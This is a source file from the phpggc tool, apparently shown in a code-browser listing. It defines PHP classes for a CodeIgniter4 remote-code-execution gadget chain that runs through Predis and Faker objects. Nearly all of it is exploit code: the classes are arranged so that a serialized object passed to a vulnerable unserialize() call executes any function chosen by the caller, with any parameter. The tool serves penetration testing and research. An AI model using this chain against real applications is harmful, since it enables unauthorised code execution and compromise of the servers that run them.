Codebase list phpggc / f6d6ccb8-28ba-4e83-9fcd-e3360b187588/upstream/0.20221214 gadgetchains / CodeIgniter4 / RCE / 6 / gadgets.php
f6d6ccb8-28ba-4e83-9fcd-e3360b187588/upstream/0.20221214

Tree @f6d6ccb8-28ba-4e83-9fcd-e3360b187588/upstream/0.20221214 (Download .tar.gz)

gadgets.php @f6d6ccb8-28ba-4e83-9fcd-e3360b187588/upstream/0.20221214raw · history · blame

<?php
namespace Predis\Response\Iterator{
    class MultiBulk{
        protected $position;
        protected $size;
        private $connection;

        function __construct($function,$paramter)
        {
            $this->connection = new \Faker\ValidGenerator($function,$paramter);
            $this->position = 0;
            $this->size = 1;
        }
    }
}

namespace Faker{
    class ValidGenerator{
        protected $generator;
        protected $maxRetries;
        protected $validator;

        function __construct($function,$param)
        {
            $this->maxRetries = 1;
            $this->validator = $function;
            $this->generator = new \Faker\DefaultGenerator($param);
        }
    }

    class DefaultGenerator{
        protected $default;

        function __construct($param)
        {
            $this->default = $param;
        }
    }
}